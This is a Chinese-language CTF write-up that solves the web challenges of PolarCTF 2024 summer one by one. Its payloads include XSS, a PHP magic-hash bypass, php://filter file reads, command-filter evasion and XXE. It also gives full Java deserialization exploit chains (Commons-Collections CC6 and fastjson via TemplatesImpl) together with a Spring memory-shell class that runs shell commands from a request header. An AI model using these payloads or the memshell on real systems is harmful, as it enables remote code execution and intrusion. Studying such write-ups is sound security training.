PolarCTF2024夏季个人挑战赛web全wp

扫扫看

都提示了,直接扫目录拿到flag.php了

image-20250928113653642

debudao

源码中看了一个js逻辑,会直接将我们的输入插入到页面上

1
2
3
4
5
6
7
8
if(document.location.href.indexOf("search=") >= 0){
var str=window.location.search;
var ipt=decodeURIComponent(str.split("search=")[1]);
var ipt=ipt.replace(/\+/g," ");
// document.write("<p>" + htmlspecialchars(ipt) + "</p>");
document.write("<p>" + ipt + "</p>");
$flag="flag{asdwafvx84va54fefe8asvd2a4d8awdavavefv84}";
}

但是这里注释掉了一个html转义的代码,那估计是打xss了,看看能不能拿一下cookie

1
<script>alert(document.cookie)</script>

用户的cookie就是flag

审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
$input = $_GET['xxs'];

if (is_array($input)) {
die("错误:输入类型不允许为数组。");
}
if (!preg_match("/^0e[0-9]+$/", md5($input))) {
die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
}
if (!is_numeric($input)) {
die("错误:输入必须是数字。");
}

die("恭喜:".$flag);
} else {
die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。

随便传一个md5的值是0e开头的纯数字就行

1
?xxs=240610708

tnl

传入单引号有回显SQL报错,后面打sql一直没打通,看wp才知道是伪协议读文件。。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
@$file = $_POST['twothree'];

if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}

有限制,直接把1、2或者index放在过滤器里面就行

1
twothree=php://filter/convert.base64-encode/1/resource=flag

你知道sys还能这样玩吗

#极限RCE

打开就是403,扫目录也没扫出来什么,不过在sys.php中有东西

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>

好家伙这么多命令,懒得看怎么绕过了,直接用变量拼接

1
2
cmd=a=l;b=s;$a$b /
cmd=a=ca;b=t;c=fla;d=g[^x]txt;$a$b /$c$d

或者也可以直接用php的cli执行代码

1
cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'

不需要引号的版本

1
cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'

ExX?

有个phpinfo,扫一下目录有一个/dom.php

1
2
3

Warning: DOMDocument::loadXML(): Empty string supplied as input in /var/www/html/dom.php on line 5
DOMDocument Object ( [doctype] => [implementation] => (object value omitted) [documentElement] => [actualEncoding] => [encoding] => [xmlEncoding] => [standalone] => 1 [xmlStandalone] => 1 [version] => 1.0 [xmlVersion] => 1.0 [strictErrorChecking] => 1 [documentURI] => [config] => [formatOutput] => [validateOnParse] => [resolveExternals] => [preserveWhiteSpace] => 1 [recover] => [substituteEntities] => [nodeName] => #document [nodeValue] => [nodeType] => 9 [parentNode] => [childNodes] => (object value omitted) [firstChild] => [lastChild] => [previousSibling] => [nextSibling] => [attributes] => [ownerDocument] => [namespaceURI] => [prefix] => [localName] => [baseURI] => [textContent] => )

有一个DOMDocument::loadXML()报错缺少输入字符串

结合题目名字,猜测是xxe实体注入,直接传就行

1
2
3
4
5
6
7
8
9
10
11
12
GET /dom.php HTTP/1.1
Host: 624012bf-720d-4c1f-bcde-7afd5ef60a53.www.polarctf.com:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 173

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php"> ]> <xml><name>&xxe;</name></xml>

CC链

先把jar包下下来反编译并放到idea中

image-20250930154429182

很明显了,存在CC链反序列化

看一下控制器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.polar.ctf.controller;

import org.polar.ctf.util.Tools;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
/* loaded from: CC.jar:BOOT-INF/classes/org/polar/ctf/controller/ReadController.class */
public class ReadController {
@RequestMapping({"/read"})
@ResponseBody
public String getObj(String obj) throws Exception {
byte[] Bytes = Tools.base64Decode(obj);
Object Obj = Tools.deserialize(Bytes);
return Obj.toString();
}
}

base64解码并调用deserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.polar.ctf.util;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

/* loaded from: CC.jar:BOOT-INF/classes/org/polar/ctf/util/Tools.class */
public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}

public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

没过滤的反序列化操作,先用URLDNS测试一下发现不出网,那就打内存马吧

这里用CC6打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package org.polar.ctf;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import static org.polar.ctf.util.Tools.*;

public class EXP {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class"));
TemplatesImpl templates = (TemplatesImpl)getTemplates(bytes);

//InstantiateTransformer#transform()触发链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

//CC6
Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"2");

//在put中修改factory,导致不会触发hash,并移除key
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry, "3");
lazyMap.remove("2");

//反射修改factory值
setFieldValue(lazyMap,"factory",chainedTransformer);

String poc = base64Encode(serialize(hashmap));
System.out.println(poc);
}
public static Object getTemplates(byte[] bytes) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}
//定义一个修改属性值的方法
public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
}

内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Memshell extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Cmd")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Cmd")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

image-20250930165610188

ezJson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.polar.ctf.controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.tags.BindTag;

@Controller
/* loaded from: ezJson.jar:BOOT-INF/classes/com/polar/ctf/controller/ReadController.class */
public class ReadController {
@RequestMapping({"/read"})
@ResponseBody
public String getUser(String data) throws Exception {
if (data == null) {
throw new IllegalArgumentException("Data cannot be null");
}
byte[] b = Base64.getDecoder().decode(data);
if (b == null) {
throw new IllegalArgumentException("Decoded data cannot be null");
}
InputStream inputStream = new ByteArrayInputStream(b);
if (inputStream == null) {
throw new IllegalArgumentException("Input stream cannot be null");
}
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
Object obj = objectInputStream.readObject();
JSONArray dataArray = new JSONArray();
JSONObject item = new JSONObject();
item.put("code", (Object) 200);
item.put(BindTag.STATUS_VARIABLE_NAME, (Object) "success");
item.put("obj", (Object) JSON.toJSONString(obj));
dataArray.add(item);
return dataArray.toJSONString();
}
}

image-20250930190357541

高版本的fastjson,有反序列化的点那就打fastjson原生反序列化

POC

用map去绕过高版本的安全机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.polar.ctf;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Poc {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\23232\\Desktop\\附件\\jar\\out\\production\\jar\\Memshell.class"));
TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes);

//触发TemplatesImpl#getOutputProperties()方法
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

//触发toString()方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",jsonArray);

//用Map去绕过fastjson2
HashMap map = new HashMap();
map.put(templates, badAttributeValueExpException);

serialize(map);
}

public static Object getTemplates(byte[] bytes) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","a");
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
return templates;
}

public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//将序列化字符串转为base64
public static void serialize(Object object) throws Exception{
ByteArrayOutputStream data = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(object);
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
}

内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Memshell extends AbstractTranslet {
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("Cmd")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("Cmd")};
byte[] result = new byte[0];
try {
result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().write(new String(result));
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().flush();
} catch (IOException e) {
throw new RuntimeException(e);
}
try {
httpresponse.getWriter().close();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

image-20250930191846032